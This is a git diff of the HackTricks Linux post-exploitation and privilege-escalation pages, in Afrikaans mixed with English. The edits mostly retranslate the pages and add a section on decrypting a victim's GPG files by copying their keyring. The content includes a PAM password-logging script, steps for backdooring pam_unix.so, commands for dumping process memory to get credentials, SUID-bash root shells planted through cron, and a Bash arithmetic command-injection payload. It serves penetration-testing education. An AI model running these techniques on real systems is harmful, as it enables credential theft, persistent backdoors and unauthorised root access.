diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index aea0cac07..f6e288701 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,22 +4,23 @@ ## Sniffing Logon Passwords with PAM -Kom ons konfigureer 'n PAM-module om elke wagwoord wat elke gebruiker gebruik om aan te meld, te log. As jy nie weet wat PAM is nie, kyk: +Kom ons konfigureer 'n PAM-module om elke wagwoord wat 'n gebruiker gebruik om aan te meld, te log. As jy nie weet wat PAM is nie, kyk: + {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**Vir verdere besonderhede, kyk na die [oorspronklike pos](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Dit is net 'n opsomming: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary: -**Tegniek Oorsig:** -Pluggable Authentication Modules (PAM) bied buigsaamheid in die bestuur van outentisering op Unix-gebaseerde stelsels. Hulle kan sekuriteit verbeter deur aanmeldprosesse aan te pas, maar kan ook risiko's inhou as dit verkeerd gebruik word. Hierdie opsomming skets 'n tegniek om aanmeldbesonderhede te vang met behulp van PAM, saam met mitigasiestrategieë. +**Oorsig van die tegniek:** +Pluggable Authentication Modules (PAM) bied buigbaarheid in die bestuur van verifikasie op Unix-gebaseerde stelsels. Hulle kan sekuriteit verbeter deur aanmeldprosesse aan te pas, maar dra ook risiko's as hulle misbruik word. Hierdie opsomming beskryf 'n tegniek om aanmeldbewyse met PAM vas te vang, sowel as versagtingsmaatreëls. -**Vang van Kredensiale:** +**Vasvang van aanmeldbewyse:** -- 'n bash-skrip genaamd `toomanysecrets.sh` word geskep om aanmeldpogings te log, wat die datum, gebruikersnaam (`$PAM_USER`), wagwoord (via stdin), en afstandsbediener IP (`$PAM_RHOST`) na `/var/log/toomanysecrets.log` vang. -- Die skrip word uitvoerbaar gemaak en geïntegreer in die PAM-konfigurasie (`common-auth`) met behulp van die `pam_exec.so` module met opsies om stil te loop en die outentiseringstoken aan die skrip bloot te stel. -- Die benadering demonstreer hoe 'n gecompromitteerde Linux-gasheer benut kan word om kredensiale diskreet te log. +- 'n bash-script met die naam `toomanysecrets.sh` word geskep om aanmeldpogings te log, deur die datum, gebruikersnaam (`$PAM_USER`), wagwoord (via stdin), en die remote host IP (`$PAM_RHOST`) na `/var/log/toomanysecrets.log` vas te lê. +- Die script word uitvoerbaar gemaak en in die PAM-konfigurasie (`common-auth`) geïntegreer met behulp van die `pam_exec.so` module, met opsies om stil te hardloop en die verifikasie-token aan die script bloot te stel. +- Die benadering demonstreer hoe 'n gekompromitteerde Linux-host misbruik kan word om aanmeldbewyse diskreet te log. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -31,23 +32,49 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Vir verdere besonderhede, kyk die [oorspronklike pos](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dit is net 'n opsomming: +**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dit is net 'n opsomming: -Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruikersverifikasie. Dit werk op drie hoofkonsepte: **gebruikersnaam**, **wagwoord**, en **diens**. Konfigurasie lêers vir elke diens is geleë in die `/etc/pam.d/` gids, waar gedeelde biblioteke verifikasie hanteer. +Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruiker-autentisering. Dit werk op drie hoofkonsepte: **username**, **password**, en **service**. Konfigurasielêers vir elke service is geleë in die `/etc/pam.d/` gids, waar gedeelde biblioteke die verifikasie hanteer. -**Doel**: Wysig PAM om verifikasie met 'n spesifieke wagwoord toe te laat, terwyl die werklike gebruikerswagwoord omseil word. Dit fokus veral op die `pam_unix.so` gedeelde biblioteek wat deur die `common-auth` lêer gebruik word, wat deur byna alle dienste ingesluit word vir wagwoordverifikasie. +**Doel**: Wysig PAM om autentisering toe te laat met 'n spesifieke password, en die werklike gebruiker se password omseil. Hierdie metode fokus veral op die `pam_unix.so` gedeelde biblioteek wat deur die `common-auth` lêer gebruik word — die `common-auth` word by byna alle services ingesluit vir password-verifikasie. -### Stappe om `pam_unix.so` te wysig: +### Steps for Modifying `pam_unix.so`: -1. **Vind die Verifikasie Direktief** in die `common-auth` lêer: -- Die lyn wat verantwoordelik is vir die nagaan van 'n gebruiker se wagwoord roep `pam_unix.so` aan. -2. **Wysig Bronkode**: -- Voeg 'n voorwaardelike verklaring in die `pam_unix_auth.c` bronlêer by wat toegang verleen as 'n voorafbepaalde wagwoord gebruik word, anders gaan dit voort met die gewone verifikasieproses. -3. **Hersamel en Vervang** die gewysigde `pam_unix.so` biblioteek in die toepaslike gids. -4. **Toetsing**: -- Toegang word verleen oor verskeie dienste (inlog, ssh, sudo, su, skermsaver) met die voorafbepaalde wagwoord, terwyl normale verifikasieprosesse onaangeraak bly. +1. **Locate the Authentication Directive** in the `common-auth` file: +- Die reël wat verantwoordelik is vir die kontrole van 'n gebruiker se password roep `pam_unix.so` aan. +2. **Modify Source Code**: +- Voeg 'n voorwaardelike stelling by in die `pam_unix_auth.c` source file wat toegang verleen as 'n vooraf-gedefinieerde password gebruik word; anders gaan dit voort met die gewone autenticatieproses. +3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. +4. **Testing**: +- Toegang word met die vooraf-gedefinieerde password verleen oor verskeie services (login, ssh, sudo, su, screensaver), terwyl normale authenticatieprosesse ongemoeid gebly het. > [!TIP] -> Jy kan hierdie proses outomatiseer met [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) + +## Dekripteer GPG loot via homedir relocation + +As jy 'n encrypted `.gpg` file en 'n gebruiker se `~/.gnupg` gids (pubring, private-keys, trustdb) vind, maar nie kan dekripteer weens GnuPG homedir permisies/locks nie, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home. + +Tipiese foutboodskappe wat jy kry sonder hierdie stap: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (want GPG kan nie die oorspronklike homedir lees/skryf nie). + +Werkvloei: +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` +As die geheime sleutelmateriaal in `private-keys-v1.d` teenwoordig is, sal GPG ontsluit en ontsleutel sonder om vir `passphrase` te vra (of dit sal vra as die sleutel beskerm is). + +## Verwysings + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index cc77c4e2b..c39ea7d69 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,36 +6,36 @@ ### OS-inligting -Kom ons begin om inligting oor die hardloopende OS te versamel. +Kom ons begin deur inligting oor die OS wat aan die gang is te versamel. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### Pad -As jy **skryfregte op enige gids binne die `PATH`-veranderlike** het, kan jy dalk sommige libraries of binaries kaap: +As jy **skryfregte op enige gids binne die `PATH`** het, kan jy dalk sekere libraries of binaries hijack: ```bash echo $PATH ``` ### Omgewingsinligting -Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes? +Interessante inligting, wagwoorde of API keys in die omgewingsveranderlikes? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kontroleer die kernel-weergawe en kyk of daar 'n exploit is wat gebruik kan word om escalate privileges. +Kontroleer die kernel version en kyk of daar 'n exploit is wat gebruik kan word om privileges te escalate. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Jy kan 'n goeie vulnerable kernel-lys en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Jy kan 'n goeie lys van kwesbare kernel-weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Ander webwerwe waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Om al die vulnerable kernel-weergawes vanaf daardie web te onttrek, kan jy doen: +Om al die kwesbare kernel-weergawes vanaf daardie web te onttrek, kan jy die volgende doen: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ Gereedskap wat kan help om na kernel exploits te soek, is: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer op die slagoffer uit, kontroleer slegs exploits vir kernel 2.x) -Soek altyd **die kernel-weergawe op Google**, aangesien jou kernel-weergawe dalk in 'n kernel exploit genoem word en jy dan seker kan wees dat daardie exploit geldig is. +Soek altyd **die kernel-weergawe op Google**, dalk word jou kernel-weergawe in 'n kernel exploit genoem en dan sal jy seker wees dat hierdie exploit geldig is. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo-weergawe +### Sudo weergawe Gebaseer op die kwesbare sudo-weergawes wat verskyn in: ```bash @@ -75,11 +75,11 @@ sudo -u#-1 /bin/bash ``` ### Dmesg handtekeningverifikasie het misluk -Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebuit kan word +Kontroleer **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebuit kan word ```bash dmesg 2>/dev/null | grep "signature" ``` -### Meer stelselenumerasie +### Meer system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -132,7 +132,7 @@ docker-security/ ## Skywe -Kontroleer **what is mounted and unmounted**, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en na privaat inligting te kyk. +Kontroleer **what is mounted and unmounted**, waar en waarom. As iets unmounted is, kan jy probeer om dit te mount en na privaat inligting te soek. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Nuttige sagteware -Lys nuttige binaries +Som nuttige binaries op ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Kontroleer ook of **enige compiler geïnstalleer is**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien waarin jy dit gaan gebruik (of op 'n soortgelyke een) te compile. +Kyk ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te kompileer waar jy dit gaan gebruik (of op een soortgelyke). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Geïnstalleerde kwesbare sagteware -Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word vir escalating privileges…\ -Dit word aanbeveel om die weergawe van die meer verdagte geïnstalleerde sagteware handmatig na te gaan. +Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Daar kan dalk 'n ou Nagios-weergawe wees (byvoorbeeld) wat uitgebuit kan word om escalating privileges…\ +Dit word aanbeveel om die weergawes van die meer verdagte geïnstalleerde sagteware handmatig na te gaan. ```bash dpkg -l #Debian rpm -qa #Centos ``` -As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om verouderde en kwesbare sagteware wat op die masjien geïnstalleer is, na te gaan. +As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kontroleer of daar verouderde of kwesbare sagteware op die masjien geïnstalleer is. -> [!NOTE] > _Let daarop dat hierdie kommando's baie inligting gaan toon wat meestal nutteloos sal wees; daarom word toepassings soos OpenVAS of soortgelykes aanbeveel wat gaan nagaan of enige geïnstalleerde sagtewareweergawe vatbaar is vir bekende exploits_ +> [!NOTE] > _Let daarop dat hierdie kommando's baie inligting sal vertoon wat meestal nutteloos sal wees; daarom word dit aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_ ## Prosesse -Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer privileges het as wat dit behoort te hê** (miskien 'n tomcat wat deur root uitgevoer word?) +Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte as wat dit behoort te hê** het (miskien 'n tomcat wat deur root uitgevoer word?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** wat loop, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Kyk ook na jou **privileges** oor die processes binaries, dalk kan jy iemand oorskryf. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecteer dit deur die `--inspect` parameter in die command line van die proses na te gaan.\ +Kyk ook na jou regte oor die proses-binaries, dalk kan jy iemand se binary oorskryf. ### Process monitoring -Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer ’n stel vereistes vervul word. +Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te moniteer. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat dikwels uitgevoer word of wanneer 'n stel vereistes vervul is. ### Process memory -Sommige dienste op ’n bediener stoor **credentials in clear text inside the memory**.\ -Gewoonlik sal jy **root privileges** nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\ -Onthou egter dat **as ’n regular user jy die geheue van die prosesse wat jy besit kan lees**. +Sommige dienste op 'n bediener stoor **credentials in clear text inside the memory**.\ +Gewoonlik benodig jy **root privileges** om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\ +Onthou egter dat **as 'n gewone gebruiker jy die geheue van die prosesse wat aan jou behoort kan lees**. > [!WARNING] -> Let daarop dat deesdae die meeste masjiene **nie ptrace toestaan by verstek nie** wat beteken dat jy nie ander prosesse wat aan jou onprivileged gebruiker behoort kan dump nie. +> Let wel dat deesdae meeste masjiene **nie ptrace by verstek toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou ongeprivilegieerde gebruiker behoort kan dump nie. > > Die lêer _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het. +> - **kernel.yama.ptrace_scope = 1**: slegs 'n ouer-proses kan gedebug word. +> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE capability vereis. +> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getrace word nie. Sodra dit gestel is, is 'n herbegin benodig om ptracing weer te aktiveer. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +As jy toegang tot die geheue van 'n FTP-diens het (byvoorbeeld) kan jy die Heap kry en daarin na die credentials soek. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Vir 'n gegewe proses-ID wys die **maps** hoe geheue binne daardie proses se virtuele adresruimte gemap is; dit toon ook die **toestemmings van elke gemapte streek**. Die **mem** pseudo-lêer **maak die proses se geheue self sigbaar**. Uit die **maps**-lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem file te seek en alle leesbare streke na 'n lêer te dump**. +Vir 'n gegewe proses-ID, **maps wys hoe geheue binne daardie proses se** virtuele adresruimte toegeken is; dit wys ook die **toestemmings van elke gemapte gebied**. Die **mem** pseudo-lêer **blootstel die proses se geheue self**. Uit die **maps**-lêer weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om in die **mem**-lêer te seek en alle leesbare gebiede na 'n lêer te dump. ```bash procdump() ( @@ -231,15 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan bereik word met /dev/kmem.\ - -Tipies is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep. +`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem benader word.\ +Gewoonlik is `/dev/mem` slegs leesbaar deur **root** en **kmem** groep. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump vir Linux -ProcDump is ’n herinterpretasie vir Linux van die klassieke ProcDump-instrument uit die Sysinternals-suite vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump is 'n Linux-herbeelding van die klassieke ProcDump tool uit die Sysinternals-suite van tools vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -268,13 +267,13 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Gereedskap -Om die geheue van 'n proses te dump kan jy die volgende gebruik: +Om die geheue van 'n proses te dump kan jy gebruik: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root vereistes verwyder en die proses wat aan jou behoort dump +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan manueel root-vereistes verwyder en die proses wat aan jou behoort dump - Script A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis) -### Aanmeldbewyse uit prosesgeheue +### Kredensiële uit prosesgeheue #### Handmatige voorbeeld @@ -283,25 +282,25 @@ As jy vind dat die authenticator-proses aan die gang is: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en binne die memory na credentials soek: +Jy kan die process dump (sien die vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en in die memory na credentials soek: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **steal clear text credentials from memory** en uit sommige **well known files**. Dit vereis root privileges om behoorlik te werk. +Die instrument [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **clear-text credentials uit geheue steel** en uit sommige **welbekende lêers**. Dit vereis root-privileges om behoorlik te werk. -| Funksie | Prosesnaam | +| Kenmerk | Prosesnaam | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM wagwoord (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (Aktiewe FTP-verbindinge) | vsftpd | +| Apache2 (Aktiewe HTTP Basic Auth-sessies) | apache2 | +| OpenSSH (Aktiewe SSH-sessies - Sudo-gebruik) | sshd: | -#### Soek Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Soek-regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -315,35 +314,34 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Geskeduleerde/Cron jobs +## Scheduled/Cron jobs -Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy voordeel trek uit 'n skrip wat deur root uitgevoer word (wildcard vuln? kan jy lêers wysig wat root gebruik? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?). +Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron-pad Byvoorbeeld, binne _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Let op hoe die gebruiker "user" skryfregte oor /home/user het_) -As die root-gebruiker binne hierdie crontab probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ - -Dan kan jy 'n root shell kry deur te gebruik: +As binne hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\ +Dan kan jy 'n root shell kry deur die volgende te gebruik: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron gebruik 'n script met 'n wildcard (Wildcard Injection) +### Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection) -As 'n script wat deur root uitgevoer word 'n “**\***” in 'n kommando het, kan jy dit uitbuit om onverwagte dinge te veroorsaak (soos privesc). Voorbeeld: +Indien 'n script deur root uitgevoer word en 'n “**\***” binne 'n opdrag voorkom, kan jy dit misbruik om onverwagte dinge te veroorsaak (soos privesc). Voorbeeld: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**As die wildcard voorafgegaan word deur 'n pad soos** _**/some/path/\***_ **, is dit nie kwesbaar nie (selfs** _**./\***_ **nie).** +**As die wildcard deur 'n pad soos** _**/some/path/\***_ **voorgaan, is dit nie kwesbaar nie (selfs** _**./\***_ **is nie).** Lees die volgende bladsy vir meer wildcard exploitation tricks: @@ -355,9 +353,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash voer parameter expansion en command substitution uit voor arithmetic evaluation in ((...)), $((...)) en let. As 'n root cron/parser onbeheerde logvelde lees en dit in 'n arithmetic-konteks voed, kan 'n aanvaller 'n command substitution $(...) injecteer wat as root uitgevoer word wanneer die cron loop. +Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation plaasvind in ((...)), $((...)) en let. As 'n root cron/parser onbeheerde log fields lees en dit in 'n arithmetic context invoer, kan 'n attacker 'n command substitution $(...) inject wat as root uitgevoer word wanneer die cron loop. -- Waarom dit werk: In Bash vind uitbreidings plaas in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word 'n waarde soos `$(/bin/bash -c 'id > /tmp/pwn')0` eers gesubstitueer (die kommando word uitgevoer), daarna word die oorblywende numeriese `0` vir die arithmetic gebruik sodat die skrip sonder foute voortgaan. +- Waarom dit werk: In Bash gebeur expansions in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word 'n waarde soos `$(/bin/bash -c 'id > /tmp/pwn')0` eers substituted (die command word uitgevoer), dan word die oorblywende numeriese `0` gebruik vir die arithmetic sodat die script voortgaan sonder foute. - Tipiese kwesbare patroon: ```bash @@ -369,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Uitbuiting: Kry aanvaller-beheerde teks geskryf in die geparsde log sodat die numeries-lykende veld 'n command substitution bevat en op 'n syfer eindig. Verseker dat jou kommando nie na stdout skryf nie (of herlei dit), sodat die arithmetic geldig bly. +- Uitbuiting: Kry attacker-controlled teks in die geparseerde log geskryf sodat die numeries-lykende veld 'n command substitution bevat en op 'n syfer eindig. Verseker jou command skryf nie na stdout nie (of herlei dit) sodat die arithmetic geldig bly. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -378,29 +376,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Indien jy **kan wysig 'n cron script** wat as root uitgevoer word, kan jy baie maklik 'n shell kry: +As jy **'n cron script kan wysig** wat deur root uitgevoer word, kan jy baie maklik 'n shell kry: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -As die script wat deur root uitgevoer word 'n **directory waar jy volle toegang het** gebruik, kan dit dalk nuttig wees om daardie folder te verwyder en **create a symlink folder to another one** wat 'n script bedien wat deur jou beheer word. +As die script wat deur root uitgevoer word 'n **directory waarop jy volle toegang het** gebruik, kan dit nuttig wees om daardie folder te verwyder en **'n symlink folder na 'n ander een te skep** wat 'n script bevat wat deur jou beheer word. ```bash ln -d -s ``` ### Gereelde cron jobs -Jy kan prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy dit benut en escalate privileges. +Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daaruit voordeel trek en escalate privileges. -Byvoorbeeld, om **elke 0.1s vir 1 minuut te monitor**, **volgens die minste uitgevoerde kommando's te sorteer** en die kommando's wat die meeste uitgevoer is te verwyder, kan jy: +Byvoorbeeld, om **elke 0.1s vir 1 minuut te monitor**, **op die minst-uitgevoerde kommando's te sorteer** en die kommando's wat die meeste uitgevoer is te verwyder, kan jy dit doen: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Jy kan ook gebruik** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin moniteer en lys). 